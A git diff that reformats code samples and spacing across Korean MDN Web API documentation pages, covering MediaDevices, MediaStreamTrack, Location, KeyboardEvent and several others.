--- a/files/ko/web/api/intersectionobserver/takerecords/index.md
+++ b/files/ko/web/api/intersectionobserver/takerecords/index.md
@@ -2,6 +2,7 @@
 title: IntersectionObserver.takeRecords()
 slug: Web/API/IntersectionObserver/takeRecords
 ---
+
 {{APIRef("Intersection Observer API")}}
 
 {{domxref("IntersectionObserver")}}의 **`takeRecords()`** 메서드는 주시 대상 중에서 마지막 교차 변화 알림 이후, 즉 명시적인 `takeRecords()` 호출 또는 감지기의 콜백 자동 호출 이후 교차 영역에 변화가 생긴 요소를 나타내는 {{domxref("IntersectionObserverEntry")}} 객체의 배열을 반환합니다.
diff --git a/files/ko/web/api/keyboardevent/index.md b/files/ko/web/api/keyboardevent/index.md
index 189805e6d16a87..d690828c3fcc79 100644
--- a/files/ko/web/api/keyboardevent/index.md
+++ b/files/ko/web/api/keyboardevent/index.md
@@ -110,6 +110,7 @@ _이 인터페이스는 부모인 {{domxref("UIEvent")}} 와 {{domxref("Event")}
   - : 키 이벤트가 `compositionstart`이후에 그리고 `compositionend` 이전에 발생했다면 `true` 를 반환합니다.
 
 - {{domxref("KeyboardEvent.key")}} {{Readonlyinline}}
+
   - : 이벤트가 일어난 키의 키 값을 나타내는 문자열을 반환합니다.
 
 - {{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}
diff --git a/files/ko/web/api/keyboardevent/key/index.md b/files/ko/web/api/keyboardevent/key/index.md
index 50b986a981db4a..03914821866f1b 100644
--- a/files/ko/web/api/keyboardevent/key/index.md
+++ b/files/ko/web/api/keyboardevent/key/index.md
@@ -205,7 +205,7 @@ window.addEventListener(
     // 두 번 동작하는 것을 막기 위해 기본 동작을 취소합니다.
     event.preventDefault();
   },
-  true
+  true,
 );
 ```
 
diff --git a/files/ko/web/api/location/index.md b/files/ko/web/api/location/index.md
index bd2ac8a0ddc312..1dc99566f59ecf 100644
--- a/files/ko/web/api/location/index.md
+++ b/files/ko/web/api/location/index.md
@@ -2,6 +2,7 @@
 title: Location
 slug: Web/API/Location
 ---
+
 {{APIRef("HTML DOM")}}
 
 **`Location`** 인터페이스는 객체가 연결된 장소(URL)를 표현합니다. `Location` 인터페이스에 변경을 가하면 연결된 객체에도 반영되는데, {{domxref("Document")}}와 {{domxref("Window")}} 인터페이스가 이런 `Location`을 가지고 있습니다. 각각 {{domxref("Document.location")}}과 {{domxref("Window.location")}}으로 접근할 수 있습니다.
@@ -51,17 +52,18 @@ slug: Web/API/Location
 ```js
 // Create anchor element and use href property for the purpose of this example
 // A more correct alternative is to browse to the URL and use document.location or window.location
-var url = document.createElement('a');
-url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
-console.log(url.href);      // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
-console.log(url.protocol);  // https:
-console.log(url.host);      // developer.mozilla.org:8080
-console.log(url.hostname);  // developer.mozilla.org
-console.log(url.port);      // 8080
-console.log(url.pathname);  // /en-US/search
-console.log(url.search);    // ?q=URL
-console.log(url.hash);      // #search-results-close-container
-console.log(url.origin);    // https://developer.mozilla.org:8080
+var url = document.createElement("a");
+url.href =
+  "https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container";
+console.log(url.href); // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol); // https:
+console.log(url.host); // developer.mozilla.org:8080
+console.log(url.hostname); // developer.mozilla.org
+console.log(url.port); // 8080
+console.log(url.pathname); // /en-US/search
+console.log(url.search); // ?q=URL
+console.log(url.hash); // #search-results-close-container
+console.log(url.origin); // https://developer.mozilla.org:8080
 ```
 
 ## 명세
diff --git a/files/ko/web/api/mediadevices/enumeratedevices/index.md b/files/ko/web/api/mediadevices/enumeratedevices/index.md
index 931254c8a0cfc6..c1e06aeffc1879 100644
--- a/files/ko/web/api/mediadevices/enumeratedevices/index.md
+++ b/files/ko/web/api/mediadevices/enumeratedevices/index.md
@@ -2,6 +2,7 @@
 title: MediaDevices.enumerateDevices()
 slug: Web/API/MediaDevices/enumerateDevices
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("MediaDevices")}}의 **`enumerateDevices()`** 메서드는 사용(또는 접근)이 가능한 미디어 입력장치나 출력장치들의 리스트를 가져옵니다. 예를 들면 마이크, 카메라, 헤드셋 등의 미디어 입/출력 장치 리스트를 불러오는 것 이죠. 이 메서드는 {{domxref("Promise")}}를 반환하는데, 이 Promise가 resolve되면 장치(device)정보가 들어있는 {{domxref("MediaDeviceInfo")}} 배열(array)을 확인할 수 있습니다.
@@ -30,16 +31,18 @@ if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
 
 // 카메라와 마이크 리스트
 
-navigator.mediaDevices.enumerateDevices()
-.then(function(devices) {
-  devices.forEach(function(device) {
-    console.log(device.kind + ": " + device.label +
-                " id = " + device.deviceId);
+navigator.mediaDevices
+  .enumerateDevices()
+  .then(function (devices) {
+    devices.forEach(function (device) {
+      console.log(
+        device.kind + ": " + device.label + " id = " + device.deviceId,
+      );
+    });
+  })
+  .catch(function (err) {
+    console.log(err.name + ": " + err.message);
   });
-})
-.catch(function(err) {
-  console.log(err.name + ": " + err.message);
-});
 ```
 
 위 코드를 실행하면 아래와 같은 결과를 볼 수 있을 것입니다.:
diff --git a/files/ko/web/api/mediadevices/getusermedia/index.md b/files/ko/web/api/mediadevices/getusermedia/index.md
index 648bd69c10ed3e..237d1487d1a5f8 100644
--- a/files/ko/web/api/mediadevices/getusermedia/index.md
+++ b/files/ko/web/api/mediadevices/getusermedia/index.md
@@ -20,7 +20,7 @@ async function getMedia(constraints) {
   try {
     stream = await navigator.mediaDevices.getUserMedia(constraints);
     /* 스트림 사용 */
-  } catch(err) {
+  } catch (err) {
     /* 오류 처리 */
   }
 }
@@ -29,13 +29,14 @@ async function getMedia(constraints) {
 프로미스를 직접 사용할 경우 다음과 같습니다.
 
 ```js
-navigator.mediaDevices.getUserMedia(constraints)
-.then(function(stream) {
-  /* 스트림 사용 */
-})
-.catch(function(err) {
-  /* 오류 처리 */
-});
+navigator.mediaDevices
+  .getUserMedia(constraints)
+  .then(function (stream) {
+    /* 스트림 사용 */
+  })
+  .catch(function (err) {
+    /* 오류 처리 */
+  });
 ```
 
 > **참고:** 현재 문서를 안전하게 불러온 경우가 아니라면 `navigator.mediaDevices`는 `undefined`이므로 `getUserMedia()`도 사용할 수 없습니다. [개인정보와 보안](#개인정보와_보안) 항목에서 `getUserMedia()`와 관련된 보안 문제를 자세히 살펴보세요.
@@ -49,6 +50,7 @@ const promise = navigator.mediaDevices.getUserMedia(constraints);
 ### 매개변수
 
 - `constraints`
+
   - : 요청할 미디어 유형과 각각에 대한 요구사항을 지정하는 {{domxref("MediaStreamConstraints")}} 객체.`constraints` 매개변수는 두 개의 구성 요소, `video`와 `audio`를 가지는 객체로, 요청할 미디어 유형에 대해 설명합니다. 둘 중 적어도 하나는 지정해야 합니다. 브라우저가 주어진 유형과 제약을 만족하는 미디어 트랙을 하나도 찾을 수 없는 경우 프로미스는 `NotFoundError`와 함께 거부합니다.다음은 특별한 요구사항 없이 오디오와 비디오 둘 다 요청하는 매개변수입니다.
 
     ```js
@@ -132,15 +134,18 @@ This example gives a preference for camera resolution, and assigns the resulting
 // Prefer camera resolution nearest to 1280x720.
 var constraints = { audio: true, video: { width: 1280, height: 720 } };
 
-navigator.mediaDevices.getUserMedia(constraints)
-.then(function(mediaStream) {
-  var video = document.querySelector('video');
-  video.srcObject = mediaStream;
-  video.onloadedmetadata = function(e) {
-    video.play();
-  };
-})
-.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+navigator.mediaDevices
+  .getUserMedia(constraints)
+  .then(function (mediaStream) {
+    var video = document.querySelector("video");
+    video.srcObject = mediaStream;
+    video.onloadedmetadata = function (e) {
+      video.play();
+    };
+  })
+  .catch(function (err) {
+    console.log(err.name + ": " + err.message);
+  }); // always check for errors at the end.
 ```
 
 ### Using the new API in older browsers
@@ -157,41 +162,44 @@ if (navigator.mediaDevices === undefined) {
 // with getUserMedia as it would overwrite existing properties.
 // Here, we will just add the getUserMedia property if it's missing.
 if (navigator.mediaDevices.getUserMedia === undefined) {
-  navigator.mediaDevices.getUserMedia = function(constraints) {
-
+  navigator.mediaDevices.getUserMedia = function (constraints) {
     // First get ahold of the legacy getUserMedia, if present
-    var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+    var getUserMedia =
+      navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
 
     // Some browsers just don't implement it - return a rejected promise with an error
     // to keep a consistent interface
     if (!getUserMedia) {
-      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+      return Promise.reject(
+        new Error("getUserMedia is not implemented in this browser"),
+      );
     }
 
     // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
-    return new Promise(function(resolve, reject) {
+    return new Promise(function (resolve, reject) {
       getUserMedia.call(navigator, constraints, resolve, reject);
     });
-  }
+  };
 }
 
-navigator.mediaDevices.getUserMedia({ audio: true, video: true })
-.then(function(stream) {
-  var video = document.querySelector('video');
-  // Older browsers may not have srcObject
-  if ("srcObject" in video) {
-    video.srcObject = stream;
-  } else {
-    // Avoid using this in new browsers, as it is going away.
-    video.src = window.URL.createObjectURL(stream);
-  }
-  video.onloadedmetadata = function(e) {
-    video.play();
-  };
-})
-.catch(function(err) {
-  console.log(err.name + ": " + err.message);
-});
+navigator.mediaDevices
+  .getUserMedia({ audio: true, video: true })
+  .then(function (stream) {
+    var video = document.querySelector("video");
+    // Older browsers may not have srcObject
+    if ("srcObject" in video) {
+      video.srcObject = stream;
+    } else {
+      // Avoid using this in new browsers, as it is going away.
+      video.src = window.URL.createObjectURL(stream);
+    }
+    video.onloadedmetadata = function (e) {
+      video.play();
+    };
+  })
+  .catch(function (err) {
+    console.log(err.name + ": " + err.message);
+  });
 ```
 
 ### Frame rate
@@ -208,9 +216,11 @@ On mobile phones.
 
 ```js
 var front = false;
-document.getElementById('flip-button').onclick = function() { front = !front; };
+document.getElementById("flip-button").onclick = function () {
+  front = !front;
+};
 
-var constraints = { video: { facingMode: (front? "user" : "environment") } };
+var constraints = { video: { facingMode: front ? "user" : "environment" } };
 ```
 
 ## Permissions
diff --git a/files/ko/web/api/mediadevices/index.md b/files/ko/web/api/mediadevices/index.md
index 462ea097cb08a2..c342b7b18e3b61 100644
--- a/files/ko/web/api/mediadevices/index.md
+++ b/files/ko/web/api/mediadevices/index.md
@@ -2,6 +2,7 @@
 title: MediaDevices
 slug: Web/API/MediaDevices
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 **`MediaDevices`** 인터페이스는 카메라, 마이크, 공유 화면 등 현재 연결된 미디어 입력 장치로의 접근 방법을 제공하는 인터페이스입니다. 다르게 말하자면, 미디어 데이터를 제공하는 모든 하드웨어로 접근할 수 있는 방법입니다.
@@ -25,42 +26,50 @@ slug: Web/API/MediaDevices
 ## 예제
 
 ```js
-'use strict';
+"use strict";
 
 // Put variables in global scope to make them available to the browser console.
-var video = document.querySelector('video');
-var constraints = window.constraints = {
+var video = document.querySelector("video");
+var constraints = (window.constraints = {
   audio: false,
-  video: true
-};
-var errorElement = document.querySelector('#errorMsg');
-
-navigator.mediaDevices.getUserMedia(constraints)
-.then(function(stream) {
-  var videoTracks = stream.getVideoTracks();
-  console.log('Got stream with constraints:', constraints);
-  console.log('Using video device: ' + videoTracks[0].label);
-  stream.onremovetrack = function() {
-    console.log('Stream ended');
-  };
-  window.stream = stream; // make variable available to browser console
-  video.srcObject = stream;
-})
-.catch(function(error) {
-  if (error.name === 'ConstraintNotSatisfiedError') {
-    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
-        constraints.video.width.exact + ' px is not supported by your device.');
-  } else if (error.name === 'PermissionDeniedError') {
-    errorMsg('Permissions have not been granted to use your camera and ' +
-      'microphone, you need to allow the page access to your devices in ' +
-      'order for the demo to work.');
-  }
-  errorMsg('getUserMedia error: ' + error.name, error);
+  video: true,
 });
+var errorElement = document.querySelector("#errorMsg");
+
+navigator.mediaDevices
+  .getUserMedia(constraints)
+  .then(function (stream) {
+    var videoTracks = stream.getVideoTracks();
+    console.log("Got stream with constraints:", constraints);
+    console.log("Using video device: " + videoTracks[0].label);
+    stream.onremovetrack = function () {
+      console.log("Stream ended");
+    };
+    window.stream = stream; // make variable available to browser console
+    video.srcObject = stream;
+  })
+  .catch(function (error) {
+    if (error.name === "ConstraintNotSatisfiedError") {
+      errorMsg(
+        "The resolution " +
+          constraints.video.width.exact +
+          "x" +
+          constraints.video.width.exact +
+          " px is not supported by your device.",
+      );
+    } else if (error.name === "PermissionDeniedError") {
+      errorMsg(
+        "Permissions have not been granted to use your camera and " +
+          "microphone, you need to allow the page access to your devices in " +
+          "order for the demo to work.",
+      );
+    }
+    errorMsg("getUserMedia error: " + error.name, error);
+  });
 
 function errorMsg(msg, error) {
-  errorElement.innerHTML += '<p>' + msg + '</p>';
-  if (typeof error !== 'undefined') {
+  errorElement.innerHTML += "<p>" + msg + "</p>";
+  if (typeof error !== "undefined") {
     console.error(error);
   }
 }
diff --git a/files/ko/web/api/mediastream_image_capture_api/index.md b/files/ko/web/api/mediastream_image_capture_api/index.md
index 61f0b98755ffe8..40272b852f19b4 100644
--- a/files/ko/web/api/mediastream_image_capture_api/index.md
+++ b/files/ko/web/api/mediastream_image_capture_api/index.md
@@ -2,6 +2,7 @@
 title: MediaStream Image Capture API
 slug: Web/API/MediaStream_Image_Capture_API
 ---
+
 {{DefaultAPISidebar("Image Capture API")}}
 
 **MediaStream Image Capture API**는 촬영 장치를 사용해 이미지와 비디오를 캡처하기 위한 API입니다. 그러나 데이터 캡처 외에도 이미지 해상도, 적목 현상 감소 기능, 플래시 존재 유무와 현재 사용 여부 등 장치 사양에 대한 정보를 가져올 때에도 사용할 수 있습니다. 거꾸로, Image Capture API를 사용하면 현재 장치의 허용 범위 안에서 해당 기능을 조정할 수도 있습니다.
@@ -13,10 +14,9 @@ slug: Web/API/MediaStream_Image_Capture_API
 우선, {{domxref("MediaDevices.getUserMedia()")}}를 사용해 장치를 가리키는 참조를 가져옵니다. 아래 코드는 단순히 사용 가능한 비디오 장치를 아무거나 요청하는 것이지만, `getUserMedia()` 메서드는더 상세한 장치 기능 요청도 허용합니다. 반환 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다.
 
 ```js
-navigator.mediaDevices.getUserMedia({ video: true })
-  .then(mediaStream => {
-    // Do something with the stream.
-  })
+navigator.mediaDevices.getUserMedia({ video: true }).then((mediaStream) => {
+  // Do something with the stream.
+});
 ```
 
 그 후, {{domxref("MediaStream.getVideoTracks()")}}를 호출해 미디어 스트림에서 시각적인 부분을 분리합니다. `getVideoTracks()`의 반환 값은 {{domxref("MediaStreamTrack")}} 객체의 배열로, 여기서는 사용해야 할 객체를 배열의 첫 번째 요소라고 가정합니다. 실제 사용 시에는 `MediaStreamTrack` 객체의 속성을 사용해 원하는 객체를 찾을 수 있습니다.
@@ -28,13 +28,13 @@ const track = mediaStream.getVideoTracks()[0];
 이미지를 캡처하기 전에 우선 장치의 기능을 설정하고 싶을 것입니다. 다른 작업을 수행하기 전에, 트랙 객체의 {{domxref("MediaStreamTrack.applyConstraints","applyConstraints()")}} 메서드를 사용하면 됩니다.
 
 ```js
-let zoom = document.querySelector('#zoom');
+let zoom = document.querySelector("#zoom");
 const capabilities = track.getCapabilities();
 // 확대 지원 여부 판별
-if(!capabilities.zoom) {
+if (!capabilities.zoom) {
   return;
 }
-track.applyConstraints({ advanced : [{ zoom: zoom.value }] });
+track.applyConstraints({ advanced: [{ zoom: zoom.value }] });
 ```
 
 마지막으로, `MediaStreamTrack` 객체를 {{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}} 생성자에 제공합니다. `MediaStream`은 여러 종류의 트랙을 담고 있으며 적절한 트랙을 가져올 때 사용할 수 있는 메서드를 소유하지만, `ImageCapture` 생성자는 {{domxref("MediaStreamTrack.kind")}}가 `"video"` 값이 아닌 경우 `NotSupportedError` {{domxref("DOMException")}}을 던집니다.
diff --git a/files/ko/web/api/mediastreamtrack/applyconstraints/index.md b/files/ko/web/api/mediastreamtrack/applyconstraints/index.md
index 310074003ef55e..fbfc3348b2c3cf 100644
--- a/files/ko/web/api/mediastreamtrack/applyconstraints/index.md
+++ b/files/ko/web/api/mediastreamtrack/applyconstraints/index.md
@@ -2,6 +2,7 @@
 title: MediaStreamTrack.applyConstraints()
 slug: Web/API/MediaStreamTrack/applyConstraints
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 {{domxref("MediaStreamTrack")}} 인터페이스의 **`applyConstraints()`** 메서드는 트랙에 제약을 적용합니다. 제약을 통해 웹 사이트와 앱은 프레임 레이트, 해상도, 플래시 여부 등, 제약 가능한 속성을 자신이 바라는 이상적인 값과 허용 가능한 범위로 제한할 수 있습니다.
@@ -11,7 +12,7 @@ slug: Web/API/MediaStreamTrack/applyConstraints
 ## 구문
 
 ```js
-const appliedPromise = track.applyConstraints([constraints])
+const appliedPromise = track.applyConstraints([constraints]);
 ```
 
 ### 매개변수
@@ -29,24 +30,21 @@ const appliedPromise = track.applyConstraints([constraints])
 
 ```js
 const constraints = {
-  width: {min: 640, ideal: 1280},
-  height: {min: 480, ideal: 720},
-  advanced: [
-    {width: 1920, height: 1280},
-    {aspectRatio: 1.333}
-  ]
+  width: { min: 640, ideal: 1280 },
+  height: { min: 480, ideal: 720 },
+  advanced: [{ width: 1920, height: 1280 }, { aspectRatio: 1.333 }],
 };
 
-navigator.mediaDevices.getUserMedia({ video: true })
-.then(mediaStream => {
+navigator.mediaDevices.getUserMedia({ video: true }).then((mediaStream) => {
   const track = mediaStream.getVideoTracks()[0];
-  track.applyConstraints(constraints)
-  .then(() => {
-    // Do something with the track such as using the Image Capture API.
-  })
-  .catch(e => {
-    // The constraints could not be satisfied by the available devices.
-  });
+  track
+    .applyConstraints(constraints)
+    .then(() => {
+      // Do something with the track such as using the Image Capture API.
+    })
+    .catch((e) => {
+      // The constraints could not be satisfied by the available devices.
+    });
 });
 ```
 
diff --git a/files/ko/web/api/mediastreamtrack/clone/index.md b/files/ko/web/api/mediastreamtrack/clone/index.md
index c98e834573dc6d..737369e9d70536 100644
--- a/files/ko/web/api/mediastreamtrack/clone/index.md
+++ b/files/ko/web/api/mediastreamtrack/clone/index.md
@@ -10,7 +10,7 @@ slug: Web/API/MediaStreamTrack/clone
 ## 구문
 
 ```js
-const newTrack = track.clone()
+const newTrack = track.clone();
 ```
 
 ### 반환 값
diff --git a/files/ko/web/api/mediastreamtrack/enabled/index.md b/files/ko/web/api/mediastreamtrack/enabled/index.md
index 4148408559a877..c31ec4d8bd82cb 100644
--- a/files/ko/web/api/mediastreamtrack/enabled/index.md
+++ b/files/ko/web/api/mediastreamtrack/enabled/index.md
@@ -2,6 +2,7 @@
 title: MediaStreamTrack.enabled
 slug: Web/API/MediaStreamTrack/enabled
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 {{domxref("MediaStreamTrack")}} 인터페이스의 **`enabled`** 속성은 트랙이 소스 스트림을 렌더링 할 수 있으면 `true`, 아니면 `false`를 반환합니다. `enabled` 속성을 사용해 음소거 기능을 구현할 수 있습니다. 활성화된 경우 트랙의 데이터는 입력에서 목적지로 출력됩니다. 비활성 상태에서는 빈 프레임만 출력합니다.
@@ -15,8 +16,8 @@ slug: Web/API/MediaStreamTrack/enabled
 ## 구문
 
 ```js
-const enabledFlag = track.enabled
-track.enabled = [true | false]
+const enabledFlag = track.enabled;
+track.enabled = [true | false];
 ```
 
 ### 값
@@ -34,12 +35,12 @@ track.enabled = [true | false]
 다음 코드는 [`click`](/ko/docs/Web/API/Element/click_event) 이벤트 처리기를 사용해 일시정지를 구현합니다.
 
 ```js
-pauseButton.onclick = function(evt) {
+pauseButton.onclick = function (evt) {
   const newState = !myAudioTrack.enabled;
 
   pauseButton.innerHTML = newState ? "&#x25B6;&#xFE0F;" : "&#x23F8;&#xFE0F;";
   myAudioTrack.enabled = newState;
-}
+};
 ```
 
 ## 명세
diff --git a/files/ko/web/api/mediastreamtrack/getcapabilities/index.md b/files/ko/web/api/mediastreamtrack/getcapabilities/index.md
index dbcbf765a3c928..2576e36509ad0d 100644
--- a/files/ko/web/api/mediastreamtrack/getcapabilities/index.md
+++ b/files/ko/web/api/mediastreamtrack/getcapabilities/index.md
@@ -12,7 +12,7 @@ slug: Web/API/MediaStreamTrack/getCapabilities
 ## 구문
 
 ```js
-const capabilities = track.getCapabilities()
+const capabilities = track.getCapabilities();
 ```
 
 ### 반환 값
diff --git a/files/ko/web/api/mediastreamtrack/getconstraints/index.md b/files/ko/web/api/mediastreamtrack/getconstraints/index.md
index 61d6cae9eb74be..ea662d77524833 100644
--- a/files/ko/web/api/mediastreamtrack/getconstraints/index.md
+++ b/files/ko/web/api/mediastreamtrack/getconstraints/index.md
@@ -12,7 +12,7 @@ slug: Web/API/MediaStreamTrack/getConstraints
 ## 구문
 
 ```js
-const constraints = track.getConstraints()
+const constraints = track.getConstraints();
 ```
 
 ### 반환 값
diff --git a/files/ko/web/api/mediastreamtrack/getsettings/index.md b/files/ko/web/api/mediastreamtrack/getsettings/index.md
index eda661f819bfd5..7f53f386885963 100644
--- a/files/ko/web/api/mediastreamtrack/getsettings/index.md
+++ b/files/ko/web/api/mediastreamtrack/getsettings/index.md
@@ -10,7 +10,7 @@ slug: Web/API/MediaStreamTrack/getSettings
 ## 구문
 
 ```js
-const settings = track.getSettings()
+const settings = track.getSettings();
 ```
 
 ### 반환 값
diff --git a/files/ko/web/api/mediastreamtrack/id/index.md b/files/ko/web/api/mediastreamtrack/id/index.md
index 37ad92c8ad6b31..33910f9fb846fc 100644
--- a/files/ko/web/api/mediastreamtrack/id/index.md
+++ b/files/ko/web/api/mediastreamtrack/id/index.md
@@ -2,6 +2,7 @@
 title: MediaStreamTrack.id
 slug: Web/API/MediaStreamTrack/id
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 **`MediaStreamTrack.id`** 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 생성하는, 트랙의 전역 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다.
@@ -9,7 +10,7 @@ slug: Web/API/MediaStreamTrack/id
 ## 구문
 
 ```js
-const id = track.id
+const id = track.id;
 ```
 
 ## 명세
diff --git a/files/ko/web/api/mediastreamtrack/index.md b/files/ko/web/api/mediastreamtrack/index.md
index f244b90ad0c2ef..8108975ab00778 100644
--- a/files/ko/web/api/mediastreamtrack/index.md
+++ b/files/ko/web/api/mediastreamtrack/index.md
@@ -2,6 +2,7 @@
 title: MediaStreamTrack
 slug: Web/API/MediaStreamTrack
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 **`MediaStreamTrack`** 인터페이스는 스트림 내의 단일 미디어 트랙을 나타냅니다. 보통 오디오와 비디오 트랙이지만, 다른 종류도 존재할 수 있습니다.
diff --git a/files/ko/web/api/mediastreamtrack/kind/index.md b/files/ko/web/api/mediastreamtrack/kind/index.md
index a131ebb7fed61f..5d2bf20180aebc 100644
--- a/files/ko/web/api/mediastreamtrack/kind/index.md
+++ b/files/ko/web/api/mediastreamtrack/kind/index.md
@@ -10,7 +10,7 @@ slug: Web/API/MediaStreamTrack/kind
 ## 구문
 
 ```js
-const type = track.kind
+const type = track.kind;
 ```
 
 ### 값
diff --git a/files/ko/web/api/mediastreamtrack/label/index.md b/files/ko/web/api/mediastreamtrack/label/index.md
index bf75d841b621c5..917e44091f1411 100644
--- a/files/ko/web/api/mediastreamtrack/label/index.md
+++ b/files/ko/web/api/mediastreamtrack/label/index.md
@@ -2,6 +2,7 @@
 title: MediaStreamTrack.label
 slug: Web/API/MediaStreamTrack/label
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 **`MediaStreamTrack.label`** 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 트랙 소스를 식별하기 위해 지정한 레이블을 담은 {{domxref("DOMString")}}을 반환합니다. 소스가 연결되지 않은 경우 빈 문자열이며, 연결됐던 트랙이 소스에서 분리되더라도 레이블은 바뀌지 않습니다.
@@ -9,7 +10,7 @@ slug: Web/API/MediaStreamTrack/label
 ## 구문
 
 ```js
-const label = track.label
+const label = track.label;
 ```
 
 ### 값
diff --git a/files/ko/web/api/mediastreamtrack/muted/index.md b/files/ko/web/api/mediastreamtrack/muted/index.md
index 5adabedfd76f50..e37755f996ab39 100644
--- a/files/ko/web/api/mediastreamtrack/muted/index.md
+++ b/files/ko/web/api/mediastreamtrack/muted/index.md
@@ -12,7 +12,7 @@ slug: Web/API/MediaStreamTrack/muted
 ## 구문
 
 ```js
-const mutedFlag = track.muted
+const mutedFlag = track.muted;
 ```
 
 ### 값
diff --git a/files/ko/web/api/mediastreamtrack/readystate/index.md b/files/ko/web/api/mediastreamtrack/readystate/index.md
index fd88711a510a50..17c245be396099 100644
--- a/files/ko/web/api/mediastreamtrack/readystate/index.md
+++ b/files/ko/web/api/mediastreamtrack/readystate/index.md
@@ -10,7 +10,7 @@ slug: Web/API/MediaStreamTrack/readyState
 ## 구문
 
 ```js
-const state = track.readyState
+const state = track.readyState;
 ```
 
 ### 값
diff --git a/files/ko/web/api/mediastreamtrack/stop/index.md b/files/ko/web/api/mediastreamtrack/stop/index.md
index ae829c3770c875..da38eb6326c168 100644
--- a/files/ko/web/api/mediastreamtrack/stop/index.md
+++ b/files/ko/web/api/mediastreamtrack/stop/index.md
@@ -10,7 +10,7 @@ slug: Web/API/MediaStreamTrack/stop
 ## 구문
 
 ```js
-track.stop()
+track.stop();
 ```
 
 ## 설명
@@ -30,7 +30,7 @@ function stopStreamedVideo(videoElem) {
   const stream = videoElem.srcObject;
   const tracks = stream.getTracks();
 
-  tracks.forEach(function(track) {
+  tracks.forEach(function (track) {
     track.stop();
   });
 
diff --git a/files/ko/web/api/messageevent/index.md b/files/ko/web/api/messageevent/index.md
index 93afaeba510266..039e84664cdae8 100644
--- a/files/ko/web/api/messageevent/index.md
+++ b/files/ko/web/api/messageevent/index.md
@@ -2,6 +2,7 @@
 title: MessageEvent
 slug: Web/API/MessageEvent
 ---
+
 {{APIRef("HTML DOM")}}
 
 **`MessageEvent`** 는 {{domxref("WebSocket")}} 또는 WebRTC {{domxref("RTCDataChannel")}} 으로 된 타겟으로 부터 전달받은 메시지를 보여주는 interface 입니다.
diff --git a/files/ko/web/api/mouseevent/clientx/index.md b/files/ko/web/api/mouseevent/clientx/index.md
index d4ee561faac4dc..0f10cc172e5a43 100644
--- a/files/ko/web/api/mouseevent/clientx/index.md
+++ b/files/ko/web/api/mouseevent/clientx/index.md
@@ -2,6 +2,7 @@
 title: MouseEvent.clientX
 slug: Web/API/MouseEvent/clientX
 ---
+
 {{{APIRef("DOM 이벤트")}}
 {{domxref("MouseEvent")}}} 인터페이스의 clientX 읽기 전용 속성은 이벤트가 발생한 애플리케이션 {{glossary("viewport")}}}} 내에 수평 좌표를 제공한다(페이지 내의 좌표와는 반대).
 
@@ -10,7 +11,7 @@ slug: Web/API/MouseEvent/clientX
 ## Syntax
 
 ```js
-var x = instanceOfMouseEvent.clientX
+var x = instanceOfMouseEvent.clientX;
 ```
 
 ### Return value
@@ -31,8 +32,8 @@ CSSOM 뷰 모듈에 의해 재정의된 이중 부동 소수점 값. 원래 이
 ### JavaScript
 
 ```js
-let screenLog = document.querySelector('#screen-log');
-document.addEventListener('mousemove', logKey);
+let screenLog = document.querySelector("#screen-log");
+document.addEventListener("mousemove", logKey);
 
 function logKey(e) {
   screenLog.innerText = `
diff --git a/files/ko/web/api/mutationobserver/observe/index.md b/files/ko/web/api/mutationobserver/observe/index.md
index 91343855dbfab4..66d0e1489ed49c 100644
--- a/files/ko/web/api/mutationobserver/observe/index.md
+++ b/files/ko/web/api/mutationobserver/observe/index.md
@@ -93,7 +93,7 @@ const observer = new MutationObserver(() => {
   console.log("callback that runs when observer is triggered");
 });
 
-// 
+//
 // 위 MutationObserver 인스턴스의 observe() 메서드를 호출
 // 주시할 요소와 옵션 객체 전달
 observer.observe(elementToObserve, { subtree: true, childList: true });
diff --git a/files/ko/web/api/navigator/connection/index.md b/files/ko/web/api/navigator/connection/index.md
index ab3b99559efe8b..49d4b3895fbb6f 100644
--- a/files/ko/web/api/navigator/connection/index.md
+++ b/files/ko/web/api/navigator/connection/index.md
@@ -3,6 +3,7 @@ title: window.navigator.connection
 slug: Web/API/Navigator/connection
 original_slug: Web/API/NetworkInformation/connection
 ---
+
 {{ Apiref() }}
 
 {{ SeeCompatTable() }}
diff --git a/files/ko/web/api/navigator/geolocation/index.md b/files/ko/web/api/navigator/geolocation/index.md
index b70adf1297b5e5..9f6a925acee0cb 100644
--- a/files/ko/web/api/navigator/geolocation/index.md
+++ b/files/ko/web/api/navigator/geolocation/index.md
@@ -5,6 +5,7 @@ slug: Web/API/Navigator/geolocation
 l10n:
   sourceCommit: ef75c1741b450c2331204be5563ee964ad5f4c48
 ---
+
 {{securecontext_header}}{{APIRef("Geolocation API")}}
 
 **`Navigator.geolocation`** 읽기 전용 속성은 웹에서 장치의 위치를 알아낼 때 사용할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다. 웹 사이트나 웹 앱은 위치정보를 사용해 결과 화면을 맞춤 설정할 수 있습니다.
diff --git a/files/ko/web/api/navigator/getbattery/index.md b/files/ko/web/api/navigator/getbattery/index.md
index c244a3d4e27591..c8ee79e9e0a3a5 100644
--- a/files/ko/web/api/navigator/getbattery/index.md
+++ b/files/ko/web/api/navigator/getbattery/index.md
@@ -3,6 +3,7 @@ title: window.navigator.battery
 slug: Web/API/Navigator/getBattery
 original_slug: Web/API/Navigator/battery
 ---
